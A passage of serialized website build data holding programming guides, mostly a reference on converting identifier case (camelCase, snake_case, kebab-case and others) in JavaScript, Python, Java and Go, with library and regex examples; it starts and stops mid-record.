}\n}\n",[143,38249,38250,38255,38266,38284,38300,38304,38308,38334,38346,38352,38383,38408,38437,38441],{"__ignoreMap":141},[1560,38251,38252],{"class":1562,"line":1563},[1560,38253,38254],{"class":1649},"\u002F\u002F composables\u002FusePlaceholder.ts\n",[1560,38256,38257,38259,38262,38264],{"class":1562,"line":337},[1560,38258,8180],{"class":1669},[1560,38260,38261],{"class":1576}," corpora",[1560,38263,8186],{"class":1669},[1560,38265,1571],{"class":1570},[1560,38267,38268,38271,38274,38277,38279,38282],{"class":1562,"line":343},[1560,38269,38270],{"class":1570},"  healthcare: ",[1560,38272,38273],{"class":1669},"await",[1560,38275,38276],{"class":1669}," import",[1560,38278,1688],{"class":1570},[1560,38280,38281],{"class":5634},"'~\u002Fcontent\u002Fplaceholders\u002Fhealthcare.json'",[1560,38283,19216],{"class":1570},[1560,38285,38286,38289,38291,38293,38295,38298],{"class":1562,"line":365},[1560,38287,38288],{"class":1570},"  ecommerce: ",[1560,38290,38273],{"class":1669},[1560,38292,38276],{"class":1669},[1560,38294,1688],{"class":1570},[1560,38296,38297],{"class":5634},"'~\u002Fcontent\u002Fplaceholders\u002Fecommerce.json'",[1560,38299,19216],{"class":1570},[1560,38301,38302],{"class":1562,"line":889},[1560,38303,1585],{"class":1570},[1560,38305,38306],{"class":1562,"line":1710},[1560,38307,1702],{"emptyLinePlaceholder":363},[1560,38309,38310,38312,38315,38318,38320,38323,38325,38328,38331],{"class":1562,"line":1717},[1560,38311,9187],{"class":1669},[1560,38313,38314],{"class":1669}," function",[1560,38316,38317],{"class":1566}," usePlaceholder",[1560,38319,1688],{"class":1570},[1560,38321,38322],{"class":2219},"domain",[1560,38324,8037],{"class":1669},[1560,38326,38327],{"class":1669}," keyof",[1560,38329,38330],{"class":1669}," typeof",[1560,38332,38333],{"class":1570}," corpora) {\n",[1560,38335,38336,38338,38341,38343],{"class":1562,"line":1747},[1560,38337,28057],{"class":1669},[1560,38339,38340],{"class":1576}," corpus",[1560,38342,8186],{"class":1669},[1560,38344,38345],{"class":1570}," corpora[domain]\n",[1560,38347,38348,38350],{"class":1562,"line":2507},[1560,38349,9350],{"class":1669},[1560,38351,1571],{"class":1570},[1560,38353,38354,38357,38360,38362,38365,38367,38369,38371,38373,38375,38378,38380],{"class":1562,"line":2524},[1560,38355,38356],{"class":1566},"    heading",[1560,38358,38359],{"class":1570},": () ",[1560,38361,11503],{"class":1669},[1560,38363,38364],{"class":1570}," corpus.headings[Math.",[1560,38366,9406],{"class":1566},[1560,38368,38105],{"class":1570},[1560,38370,38108],{"class":1566},[1560,38372,38111],{"class":1570},[1560,38374,8069],{"class":1669},[1560,38376,38377],{"class":1570}," corpus.headings.",[1560,38379,9418],{"class":1576},[1560,38381,38382],{"class":1570},")],\n",[1560,38384,38385,38388,38391,38394,38396,38398,38400,38402,38405],{"class":1562,"line":2529},[1560,38386,38387],{"class":1566},"    paragraph",[1560,38389,38390],{"class":1570},": (",[1560,38392,38393],{"class":2219},"words",[1560,38395,8186],{"class":1669},[1560,38397,18318],{"class":1576},[1560,38399,1733],{"class":1570},[1560,38401,11503],{"class":1669},[1560,38403,38404],{"class":1566}," generateFromCorpus",[1560,38406,38407],{"class":1570},"(corpus.body, words),\n",[1560,38409,38410,38413,38415,38417,38420,38422,38424,38426,38428,38430,38433,38435],{"class":1562,"line":2534},[1560,38411,38412],{"class":1566},"    label",[1560,38414,38359],{"class":1570},[1560,38416,11503],{"class":1669},[1560,38418,38419],{"class":1570}," corpus.labels[Math.",[1560,38421,9406],{"class":1566},[1560,38423,38105],{"class":1570},[1560,38425,38108],{"class":1566},[1560,38427,38111],{"class":1570},[1560,38429,8069],{"class":1669},[1560,38431,38432],{"class":1570}," corpus.labels.",[1560,38434,9418],{"class":1576},[1560,38436,38382],{"class":1570},[1560,38438,38439],{"class":1562,"line":2542},[1560,38440,4959],{"class":1570},[1560,38442,38443],{"class":1562,"line":2558},[1560,38444,1585],{"class":1570},[16,38446,38447],{},"This approach ensures every prototype automatically uses realistic content rather than requiring manual substitution.",[16,38449,38450,38451,38454],{},"For generating quick placeholder text in various styles, the ",[98,38452,38453],{"href":6788},"Lorem Ipsum tool"," offers configurable output lengths and formatting options.",[2043,38456,38457],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":38459},[38460,38461,38466,38467],{"id":37831,"depth":337,"text":37832},{"id":37855,"depth":337,"text":37856,"children":38462},[38463,38464,38465],{"id":37862,"depth":343,"text":37863},{"id":37889,"depth":343,"text":37890},{"id":37937,"depth":343,"text":37938},{"id":38171,"depth":337,"text":38172},{"id":38222,"depth":337,"text":38223},"Generate realistic dummy text that matches your project's domain instead of Latin filler.",{},"\u002Fguides\u002Fcontent-aware-placeholder-text",{"title":37823,"description":38468},"guides\u002Fcontent-aware-placeholder-text","Fwj6r432fDuirafboE1UshKxeDHk5hwjoevcH6G31Dc",{"id":38475,"title":38476,"body":38477,"date":2070,"description":39709,"extension":361,"meta":39710,"navigation":363,"path":39711,"readingTime":1717,"seo":39712,"stem":39713,"__hash__":39714},"guides\u002Fguides\u002Fconverting-cases-programming-languages.md","Converting Cases Across Programming Languages: A Practical Reference",{"type":8,"value":38478,"toc":39683},[38479,38483,38507,38510,38514,38623,38626,38630,38715,38719,38994,38998,39001,39153,39155,39159,39174,39178,39212,39216,39219,39276,39278,39282,39285,39319,39322,39382,39386,39415,39418,39422,39457,39461,39464,39488,39492,39630,39633,39635,39655,39657,39672,39674,39680],[11,38480,38482],{"id":38481},"why-case-conversion-matters","Why Case Conversion Matters",[16,38484,38485,38486,38488,38489,38491,38492,38495,38496,38499,38500,38503,38504,468],{},"Different contexts demand different naming conventions. An API returns ",[143,38487,23347],{}," keys, but your TypeScript codebase uses ",[143,38490,23337],{},". A database column is ",[143,38493,38494],{},"created_at",", but your Java model needs ",[143,38497,38498],{},"createdAt",". A CLI flag is ",[143,38501,38502],{},"--max-retries",", but your Python variable is ",[143,38505,38506],{},"max_retries",[16,38508,38509],{},"Case conversion bridges these boundaries. Doing it correctly — handling abbreviations, acronyms, and edge cases — separates robust code from fragile string manipulation.",[11,38511,38513],{"id":38512},"case-types-at-a-glance","Case Types at a Glance",[193,38515,38516,38529],{},[196,38517,38518],{},[199,38519,38520,38523,38525,38527],{},[202,38521,38522],{},"Case",[202,38524,18376],{},[202,38526,133],{},[202,38528,24556],{},[211,38530,38531,38546,38561,38575,38591,38607],{},[199,38532,38533,38535,38538,38543],{},[216,38534,23337],{},[216,38536,38537],{},"firstWordLower, restUpper",[216,38539,38540],{},[143,38541,38542],{},"getUserById",[216,38544,38545],{},"JS\u002FTS variables, functions",[199,38547,38548,38550,38553,38558],{},[216,38549,27917],{},[216,38551,38552],{},"everyWordUpper",[216,38554,38555],{},[143,38556,38557],{},"UserService",[216,38559,38560],{},"Classes, types, components",[199,38562,38563,38565,38568,38572],{},[216,38564,23347],{},[216,38566,38567],{},"all_lower_with_underscores",[216,38569,38570],{},[143,38571,34987],{},[216,38573,38574],{},"Python, Ruby, database columns",[199,38576,38577,38580,38583,38588],{},[216,38578,38579],{},"SCREAMING_SNAKE",[216,38581,38582],{},"ALL_UPPER_WITH_UNDERSCORES",[216,38584,38585],{},[143,38586,38587],{},"MAX_RETRIES",[216,38589,38590],{},"Constants",[199,38592,38593,38596,38599,38604],{},[216,38594,38595],{},"kebab-case",[216,38597,38598],{},"all-lower-with-hyphens",[216,38600,38601],{},[143,38602,38603],{},"content-type",[216,38605,38606],{},"URLs, CLI flags, HTTP headers",[199,38608,38609,38612,38615,38620],{},[216,38610,38611],{},"UPPER_KEBAB",[216,38613,38614],{},"ALL-UPPER-WITH-HYPHENS",[216,38616,38617],{},[143,38618,38619],{},"CONTENT-TYPE",[216,38621,38622],{},"HTTP headers (alternative)",[11,38624,23400],{"id":38625},"javascript-typescript",[33,38627,38629],{"id":38628},"using-lodash","Using Lodash",[135,38631,38633],{"className":1607,"code":38632,"language":1609,"meta":141,"style":141},"import { camelCase, snakeCase, kebabCase, upperFirst } from 'lodash'\n\ncamelCase('user_name')      \u002F\u002F 'userName'\nsnakeCase('userName')       \u002F\u002F 'user_name'\nkebabCase('userName')       \u002F\u002F 'user-name'\nupperFirst(camelCase('user_name'))  \u002F\u002F 'UserName' (PascalCase)\n",[143,38634,38635,38647,38651,38666,38682,38696],{"__ignoreMap":141},[1560,38636,38637,38639,38642,38644],{"class":1562,"line":1563},[1560,38638,8162],{"class":1669},[1560,38640,38641],{"class":1570}," { camelCase, snakeCase, kebabCase, upperFirst } ",[1560,38643,8168],{"class":1669},[1560,38645,38646],{"class":5634}," 'lodash'\n",[1560,38648,38649],{"class":1562,"line":337},[1560,38650,1702],{"emptyLinePlaceholder":363},[1560,38652,38653,38655,38657,38660,38663],{"class":1562,"line":343},[1560,38654,23337],{"class":1566},[1560,38656,1688],{"class":1570},[1560,38658,38659],{"class":5634},"'user_name'",[1560,38661,38662],{"class":1570},")      ",[1560,38664,38665],{"class":1649},"\u002F\u002F 'userName'\n",[1560,38667,38668,38671,38673,38676,38679],{"class":1562,"line":365},[1560,38669,38670],{"class":1566},"snakeCase",[1560,38672,1688],{"class":1570},[1560,38674,38675],{"class":5634},"'userName'",[1560,38677,38678],{"class":1570},")       ",[1560,38680,38681],{"class":1649},"\u002F\u002F 'user_name'\n",[1560,38683,38684,38687,38689,38691,38693],{"class":1562,"line":889},[1560,38685,38686],{"class":1566},"kebabCase",[1560,38688,1688],{"class":1570},[1560,38690,38675],{"class":5634},[1560,38692,38678],{"class":1570},[1560,38694,38695],{"class":1649},"\u002F\u002F 'user-name'\n",[1560,38697,38698,38701,38703,38705,38707,38709,38712],{"class":1562,"line":1710},[1560,38699,38700],{"class":1566},"upperFirst",[1560,38702,1688],{"class":1570},[1560,38704,23337],{"class":1566},[1560,38706,1688],{"class":1570},[1560,38708,38659],{"class":5634},[1560,38710,38711],{"class":1570},"))  ",[1560,38713,38714],{"class":1649},"\u002F\u002F 'UserName' (PascalCase)\n",[33,38716,38718],{"id":38717},"manual-conversion","Manual Conversion",[135,38720,38722],{"className":1607,"code":38721,"language":1609,"meta":141,"style":141},"\u002F\u002F camelCase to snake_case\nfunction toSnakeCase(str) {\n  return str\n    .replace(\u002F([A-Z])\u002Fg, '_$1')\n    .toLowerCase()\n    .replace(\u002F^_\u002F, '')\n}\n\n\u002F\u002F snake_case to camelCase\nfunction toCamelCase(str) {\n  return str.replace(\u002F_([a-z])\u002Fg, (_, c) => c.toUpperCase())\n}\n\n\u002F\u002F Any case to PascalCase\nfunction toPascalCase(str) {\n  return str\n    .replace(\u002F([_-][a-z])\u002Fg, (_, c) => c.slice(1).toUpperCase())\n    .replace(\u002F^[a-z]\u002F, c => c.toUpperCase())\n}\n",[143,38723,38724,38729,38743,38750,38778,38787,38810,38814,38818,38823,38836,38882,38886,38890,38895,38908,38914,38962,38990],{"__ignoreMap":141},[1560,38725,38726],{"class":1562,"line":1563},[1560,38727,38728],{"class":1649},"\u002F\u002F camelCase to snake_case\n",[1560,38730,38731,38733,38736,38738,38741],{"class":1562,"line":337},[1560,38732,8648],{"class":1669},[1560,38734,38735],{"class":1566}," toSnakeCase",[1560,38737,1688],{"class":1570},[1560,38739,38740],{"class":2219},"str",[1560,38742,9345],{"class":1570},[1560,38744,38745,38747],{"class":1562,"line":343},[1560,38746,9350],{"class":1669},[1560,38748,38749],{"class":1570}," str\n",[1560,38751,38752,38754,38756,38758,38760,38762,38765,38767,38769,38771,38773,38776],{"class":1562,"line":365},[1560,38753,37982],{"class":1570},[1560,38755,22721],{"class":1566},[1560,38757,1688],{"class":1570},[1560,38759,9423],{"class":5634},[1560,38761,1688],{"class":11919},[1560,38763,38764],{"class":1576},"[A-Z]",[1560,38766,1525],{"class":11919},[1560,38768,9423],{"class":5634},[1560,38770,22733],{"class":1669},[1560,38772,1459],{"class":1570},[1560,38774,38775],{"class":5634},"'_$1'",[1560,38777,8252],{"class":1570},[1560,38779,38780,38782,38785],{"class":1562,"line":889},[1560,38781,37982],{"class":1570},[1560,38783,38784],{"class":1566},"toLowerCase",[1560,38786,27830],{"class":1570},[1560,38788,38789,38791,38793,38795,38797,38800,38802,38804,38806,38808],{"class":1562,"line":1710},[1560,38790,37982],{"class":1570},[1560,38792,22721],{"class":1566},[1560,38794,1688],{"class":1570},[1560,38796,9423],{"class":5634},[1560,38798,38799],{"class":1669},"^",[1560,38801,23056],{"class":11919},[1560,38803,9423],{"class":5634},[1560,38805,1459],{"class":1570},[1560,38807,5635],{"class":5634},[1560,38809,8252],{"class":1570},[1560,38811,38812],{"class":1562,"line":1717},[1560,38813,1585],{"class":1570},[1560,38815,38816],{"class":1562,"line":1747},[1560,38817,1702],{"emptyLinePlaceholder":363},[1560,38819,38820],{"class":1562,"line":2507},[1560,38821,38822],{"class":1649},"\u002F\u002F snake_case to camelCase\n",[1560,38824,38825,38827,38830,38832,38834],{"class":1562,"line":2524},[1560,38826,8648],{"class":1669},[1560,38828,38829],{"class":1566}," toCamelCase",[1560,38831,1688],{"class":1570},[1560,38833,38740],{"class":2219},[1560,38835,9345],{"class":1570},[1560,38837,38838,38840,38843,38845,38847,38849,38852,38855,38857,38859,38861,38864,38866,38868,38870,38872,38874,38877,38880],{"class":1562,"line":2529},[1560,38839,9350],{"class":1669},[1560,38841,38842],{"class":1570}," str.",[1560,38844,22721],{"class":1566},[1560,38846,1688],{"class":1570},[1560,38848,9423],{"class":5634},[1560,38850,38851],{"class":11919},"_(",[1560,38853,38854],{"class":1576},"[a-z]",[1560,38856,1525],{"class":11919},[1560,38858,9423],{"class":5634},[1560,38860,22733],{"class":1669},[1560,38862,38863],{"class":1570},", (",[1560,38865,23056],{"class":2219},[1560,38867,1459],{"class":1570},[1560,38869,13943],{"class":2219},[1560,38871,1733],{"class":1570},[1560,38873,11503],{"class":1669},[1560,38875,38876],{"class":1570}," c.",[1560,38878,38879],{"class":1566},"toUpperCase",[1560,38881,38018],{"class":1570},[1560,38883,38884],{"class":1562,"line":2534},[1560,38885,1585],{"class":1570},[1560,38887,38888],{"class":1562,"line":2542},[1560,38889,1702],{"emptyLinePlaceholder":363},[1560,38891,38892],{"class":1562,"line":2558},[1560,38893,38894],{"class":1649},"\u002F\u002F Any case to PascalCase\n",[1560,38896,38897,38899,38902,38904,38906],{"class":1562,"line":2570},[1560,38898,8648],{"class":1669},[1560,38900,38901],{"class":1566}," toPascalCase",[1560,38903,1688],{"class":1570},[1560,38905,38740],{"class":2219},[1560,38907,9345],{"class":1570},[1560,38909,38910,38912],{"class":1562,"line":6638},[1560,38911,9350],{"class":1669},[1560,38913,38749],{"class":1570},[1560,38915,38916,38918,38920,38922,38924,38926,38929,38931,38933,38935,38937,38939,38941,38943,38945,38947,38949,38952,38954,38956,38958,38960],{"class":1562,"line":11615},[1560,38917,37982],{"class":1570},[1560,38919,22721],{"class":1566},[1560,38921,1688],{"class":1570},[1560,38923,9423],{"class":5634},[1560,38925,1688],{"class":11919},[1560,38927,38928],{"class":1576},"[_-][a-z]",[1560,38930,1525],{"class":11919},[1560,38932,9423],{"class":5634},[1560,38934,22733],{"class":1669},[1560,38936,38863],{"class":1570},[1560,38938,23056],{"class":2219},[1560,38940,1459],{"class":1570},[1560,38942,13943],{"class":2219},[1560,38944,1733],{"class":1570},[1560,38946,11503],{"class":1669},[1560,38948,38876],{"class":1570},[1560,38950,38951],{"class":1566},"slice",[1560,38953,1688],{"class":1570},[1560,38955,3585],{"class":1576},[1560,38957,9368],{"class":1570},[1560,38959,38879],{"class":1566},[1560,38961,38018],{"class":1570},[1560,38963,38964,38966,38968,38970,38972,38974,38976,38978,38980,38982,38984,38986,38988],{"class":1562,"line":11621},[1560,38965,37982],{"class":1570},[1560,38967,22721],{"class":1566},[1560,38969,1688],{"class":1570},[1560,38971,9423],{"class":5634},[1560,38973,38799],{"class":1669},[1560,38975,38854],{"class":1576},[1560,38977,9423],{"class":5634},[1560,38979,1459],{"class":1570},[1560,38981,13943],{"class":2219},[1560,38983,9378],{"class":1669},[1560,38985,38876],{"class":1570},[1560,38987,38879],{"class":1566},[1560,38989,38018],{"class":1570},[1560,38991,38992],{"class":1562,"line":11633},[1560,38993,1585],{"class":1570},[33,38995,38997],{"id":38996},"transforming-object-keys","Transforming Object Keys",[16,38999,39000],{},"A common use case: converting API response keys from snake_case to camelCase:",[135,39002,39004],{"className":1607,"code":39003,"language":1609,"meta":141,"style":141},"function transformKeys(obj) {\n  if (Array.isArray(obj)) return obj.map(transformKeys)\n  if (obj !== null && typeof obj === 'object') {\n    return Object.fromEntries(\n      Object.entries(obj).map(([key, value]) => [\n        toCamelCase(key),\n        transformKeys(value)\n      ])\n    )\n  }\n  return obj\n}\n",[143,39005,39006,39019,39042,39069,39081,39112,39120,39128,39133,39138,39142,39149],{"__ignoreMap":141},[1560,39007,39008,39010,39013,39015,39017],{"class":1562,"line":1563},[1560,39009,8648],{"class":1669},[1560,39011,39012],{"class":1566}," transformKeys",[1560,39014,1688],{"class":1570},[1560,39016,35242],{"class":2219},[1560,39018,9345],{"class":1570},[1560,39020,39021,39023,39026,39029,39032,39034,39037,39039],{"class":1562,"line":337},[1560,39022,27984],{"class":1669},[1560,39024,39025],{"class":1570}," (Array.",[1560,39027,39028],{"class":1566},"isArray",[1560,39030,39031],{"class":1570},"(obj)) ",[1560,39033,28313],{"class":1669},[1560,39035,39036],{"class":1570}," obj.",[1560,39038,9371],{"class":1566},[1560,39040,39041],{"class":1570},"(transformKeys)\n",[1560,39043,39044,39046,39049,39051,39054,39057,39059,39062,39064,39067],{"class":1562,"line":343},[1560,39045,27984],{"class":1669},[1560,39047,39048],{"class":1570}," (obj ",[1560,39050,13538],{"class":1669},[1560,39052,39053],{"class":1576}," null",[1560,39055,39056],{"class":1669}," &&",[1560,39058,38330],{"class":1669},[1560,39060,39061],{"class":1570}," obj ",[1560,39063,23122],{"class":1669},[1560,39065,39066],{"class":5634}," 'object'",[1560,39068,9345],{"class":1570},[1560,39070,39071,39073,39076,39079],{"class":1562,"line":365},[1560,39072,9434],{"class":1669},[1560,39074,39075],{"class":1570}," Object.",[1560,39077,39078],{"class":1566},"fromEntries",[1560,39080,35957],{"class":1570},[1560,39082,39083,39086,39088,39091,39093,39096,39099,39101,39104,39107,39109],{"class":1562,"line":889},[1560,39084,39085],{"class":1570},"      Object.",[1560,39087,11498],{"class":1566},[1560,39089,39090],{"class":1570},"(obj).",[1560,39092,9371],{"class":1566},[1560,39094,39095],{"class":1570},"(([",[1560,39097,39098],{"class":2219},"key",[1560,39100,1459],{"class":1570},[1560,39102,39103],{"class":2219},"value",[1560,39105,39106],{"class":1570},"]) ",[1560,39108,11503],{"class":1669},[1560,39110,39111],{"class":1570}," [\n",[1560,39113,39114,39117],{"class":1562,"line":1710},[1560,39115,39116],{"class":1566},"        toCamelCase",[1560,39118,39119],{"class":1570},"(key),\n",[1560,39121,39122,39125],{"class":1562,"line":1717},[1560,39123,39124],{"class":1566},"        transformKeys",[1560,39126,39127],{"class":1570},"(value)\n",[1560,39129,39130],{"class":1562,"line":1747},[1560,39131,39132],{"class":1570},"      ])\n",[1560,39134,39135],{"class":1562,"line":2507},[1560,39136,39137],{"class":1570},"    )\n",[1560,39139,39140],{"class":1562,"line":2524},[1560,39141,4959],{"class":1570},[1560,39143,39144,39146],{"class":1562,"line":2529},[1560,39145,9350],{"class":1669},[1560,39147,39148],{"class":1570}," obj\n",[1560,39150,39151],{"class":1562,"line":2534},[1560,39152,1585],{"class":1570},[11,39154,9840],{"id":8261},[33,39156,39158],{"id":39157},"built-in-limited","Built-in (Limited)",[135,39160,39162],{"className":8259,"code":39161,"language":8261,"meta":141,"style":141},"# Only handles a few conversions\n'userName'.replace('_', '-').lower()  # not general-purpose\n",[143,39163,39164,39169],{"__ignoreMap":141},[1560,39165,39166],{"class":1562,"line":1563},[1560,39167,39168],{},"# Only handles a few conversions\n",[1560,39170,39171],{"class":1562,"line":337},[1560,39172,39173],{},"'userName'.replace('_', '-').lower()  # not general-purpose\n",[33,39175,39177],{"id":39176},"using-inflection","Using inflection",[135,39179,39181],{"className":8259,"code":39180,"language":8261,"meta":141,"style":141},"import inflection\n\ninflection.camelize('user_name')         # 'UserName' (PascalCase)\ninflection.camelize('user_name', False)   # 'userName' (camelCase)\ninflection.underscore('UserName')         # 'user_name' (snake_case)\ninflection.dasherize('user_name')         # 'user-name' (kebab-case)\n",[143,39182,39183,39188,39192,39197,39202,39207],{"__ignoreMap":141},[1560,39184,39185],{"class":1562,"line":1563},[1560,39186,39187],{},"import inflection\n",[1560,39189,39190],{"class":1562,"line":337},[1560,39191,1702],{"emptyLinePlaceholder":363},[1560,39193,39194],{"class":1562,"line":343},[1560,39195,39196],{},"inflection.camelize('user_name')         # 'UserName' (PascalCase)\n",[1560,39198,39199],{"class":1562,"line":365},[1560,39200,39201],{},"inflection.camelize('user_name', False)   # 'userName' (camelCase)\n",[1560,39203,39204],{"class":1562,"line":889},[1560,39205,39206],{},"inflection.underscore('UserName')         # 'user_name' (snake_case)\n",[1560,39208,39209],{"class":1562,"line":1710},[1560,39210,39211],{},"inflection.dasherize('user_name')         # 'user-name' (kebab-case)\n",[33,39213,39215],{"id":39214},"using-pydantic","Using pydantic",[16,39217,39218],{},"Pydantic models support automatic alias generation:",[135,39220,39222],{"className":8259,"code":39221,"language":8261,"meta":141,"style":141},"from pydantic import BaseModel, ConfigDict\n\nclass User(BaseModel):\n    model_config = ConfigDict(alias_generator=lambda x: inflection.camelize(x, False))\n\n    first_name: str\n    last_name: str\n\n# Accepts camelCase input, uses snake_case internally\nuser = User.model_validate({'firstName': 'Alice', 'lastName': 'Smith'})\nuser.first_name  # 'Alice'\n",[143,39223,39224,39229,39233,39238,39243,39247,39252,39257,39261,39266,39271],{"__ignoreMap":141},[1560,39225,39226],{"class":1562,"line":1563},[1560,39227,39228],{},"from pydantic import BaseModel, ConfigDict\n",[1560,39230,39231],{"class":1562,"line":337},[1560,39232,1702],{"emptyLinePlaceholder":363},[1560,39234,39235],{"class":1562,"line":343},[1560,39236,39237],{},"class User(BaseModel):\n",[1560,39239,39240],{"class":1562,"line":365},[1560,39241,39242],{},"    model_config = ConfigDict(alias_generator=lambda x: inflection.camelize(x, False))\n",[1560,39244,39245],{"class":1562,"line":889},[1560,39246,1702],{"emptyLinePlaceholder":363},[1560,39248,39249],{"class":1562,"line":1710},[1560,39250,39251],{},"    first_name: str\n",[1560,39253,39254],{"class":1562,"line":1717},[1560,39255,39256],{},"    last_name: str\n",[1560,39258,39259],{"class":1562,"line":1747},[1560,39260,1702],{"emptyLinePlaceholder":363},[1560,39262,39263],{"class":1562,"line":2507},[1560,39264,39265],{},"# Accepts camelCase input, uses snake_case internally\n",[1560,39267,39268],{"class":1562,"line":2524},[1560,39269,39270],{},"user = User.model_validate({'firstName': 'Alice', 'lastName': 'Smith'})\n",[1560,39272,39273],{"class":1562,"line":2529},[1560,39274,39275],{},"user.first_name  # 'Alice'\n",[11,39277,9880],{"id":10185},[33,39279,39281],{"id":39280},"using-jackson","Using Jackson",[16,39283,39284],{},"Jackson can map between naming conventions during serialization:",[135,39286,39288],{"className":10198,"code":39287,"language":10185,"meta":141,"style":141},"@JsonNaming(PropertyNamingStrategies.SnakeCaseStrategy.class)\npublic class User {\n    private String firstName;\n    private String lastName;\n}\n\u002F\u002F Serializes as: {\"first_name\": \"Alice\", \"last_name\": \"Smith\"}\n",[143,39289,39290,39295,39300,39305,39310,39314],{"__ignoreMap":141},[1560,39291,39292],{"class":1562,"line":1563},[1560,39293,39294],{},"@JsonNaming(PropertyNamingStrategies.SnakeCaseStrategy.class)\n",[1560,39296,39297],{"class":1562,"line":337},[1560,39298,39299],{},"public class User {\n",[1560,39301,39302],{"class":1562,"line":343},[1560,39303,39304],{},"    private String firstName;\n",[1560,39306,39307],{"class":1562,"line":365},[1560,39308,39309],{},"    private String lastName;\n",[1560,39311,39312],{"class":1562,"line":889},[1560,39313,1585],{},[1560,39315,39316],{"class":1562,"line":1710},[1560,39317,39318],{},"\u002F\u002F Serializes as: {\"first_name\": \"Alice\", \"last_name\": \"Smith\"}\n",[16,39320,39321],{},"Available strategies:",[193,39323,39324,39334],{},[196,39325,39326],{},[199,39327,39328,39331],{},[202,39329,39330],{},"Strategy",[202,39332,39333],{},"Converts to",[211,39335,39336,39347,39359,39370],{},[199,39337,39338,39343],{},[216,39339,39340],{},[143,39341,39342],{},"SnakeCaseStrategy",[216,39344,39345],{},[143,39346,23327],{},[199,39348,39349,39354],{},[216,39350,39351],{},[143,39352,39353],{},"UpperCamelCaseStrategy",[216,39355,39356],{},[143,39357,39358],{},"FirstName",[199,39360,39361,39366],{},[216,39362,39363],{},[143,39364,39365],{},"KebabCaseStrategy",[216,39367,39368],{},[143,39369,23341],{},[199,39371,39372,39377],{},[216,39373,39374],{},[143,39375,39376],{},"LowerDotCaseStrategy",[216,39378,39379],{},[143,39380,39381],{},"first.name",[33,39383,39385],{"id":39384},"using-guava","Using Guava",[135,39387,39389],{"className":10198,"code":39388,"language":10185,"meta":141,"style":141},"import com.google.common.base.CaseFormat;\n\nCaseFormat.LOWER_CAMEL.to(CaseFormat.LOWER_UNDERSCORE, \"firstName\");  \u002F\u002F \"first_name\"\nCaseFormat.LOWER_UNDERSCORE.to(CaseFormat.UPPER_CAMEL, \"first_name\"); \u002F\u002F \"FirstName\"\nCaseFormat.LOWER_CAMEL.to(CaseFormat.LOWER_HYPHEN, \"firstName\");     \u002F\u002F \"first-name\"\n",[143,39390,39391,39396,39400,39405,39410],{"__ignoreMap":141},[1560,39392,39393],{"class":1562,"line":1563},[1560,39394,39395],{},"import com.google.common.base.CaseFormat;\n",[1560,39397,39398],{"class":1562,"line":337},[1560,39399,1702],{"emptyLinePlaceholder":363},[1560,39401,39402],{"class":1562,"line":343},[1560,39403,39404],{},"CaseFormat.LOWER_CAMEL.to(CaseFormat.LOWER_UNDERSCORE, \"firstName\");  \u002F\u002F \"first_name\"\n",[1560,39406,39407],{"class":1562,"line":365},[1560,39408,39409],{},"CaseFormat.LOWER_UNDERSCORE.to(CaseFormat.UPPER_CAMEL, \"first_name\"); \u002F\u002F \"FirstName\"\n",[1560,39411,39412],{"class":1562,"line":889},[1560,39413,39414],{},"CaseFormat.LOWER_CAMEL.to(CaseFormat.LOWER_HYPHEN, \"firstName\");     \u002F\u002F \"first-name\"\n",[11,39416,9900],{"id":39417},"go",[33,39419,39421],{"id":39420},"using-strcase","Using strcase",[135,39423,39426],{"className":39424,"code":39425,"language":39417,"meta":141,"style":141},"language-go shiki shiki-themes github-light github-dark","import \"github.com\u002Fiancoleman\u002Fstrcase\"\n\nstrcase.ToCamel(\"user_name\")    \u002F\u002F \"UserName\" (PascalCase)\nstrcase.ToLowerCamel(\"user_name\") \u002F\u002F \"userName\" (camelCase)\nstrcase.ToSnake(\"userName\")     \u002F\u002F \"user_name\"\nstrcase.ToKebab(\"userName\")     \u002F\u002F \"user-name\"\n",[143,39427,39428,39433,39437,39442,39447,39452],{"__ignoreMap":141},[1560,39429,39430],{"class":1562,"line":1563},[1560,39431,39432],{},"import \"github.com\u002Fiancoleman\u002Fstrcase\"\n",[1560,39434,39435],{"class":1562,"line":337},[1560,39436,1702],{"emptyLinePlaceholder":363},[1560,39438,39439],{"class":1562,"line":343},[1560,39440,39441],{},"strcase.ToCamel(\"user_name\")    \u002F\u002F \"UserName\" (PascalCase)\n",[1560,39443,39444],{"class":1562,"line":365},[1560,39445,39446],{},"strcase.ToLowerCamel(\"user_name\") \u002F\u002F \"userName\" (camelCase)\n",[1560,39448,39449],{"class":1562,"line":889},[1560,39450,39451],{},"strcase.ToSnake(\"userName\")     \u002F\u002F \"user_name\"\n",[1560,39453,39454],{"class":1562,"line":1710},[1560,39455,39456],{},"strcase.ToKebab(\"userName\")     \u002F\u002F \"user-name\"\n",[33,39458,39460],{"id":39459},"using-struct-tags","Using struct tags",[16,39462,39463],{},"Go's JSON and YAML tags handle naming convention mapping:",[135,39465,39467],{"className":39424,"code":39466,"language":39417,"meta":141,"style":141},"type User struct {\n    FirstName string `json:\"first_name\" yaml:\"first-name\"`\n    LastName  string `json:\"last_name\"  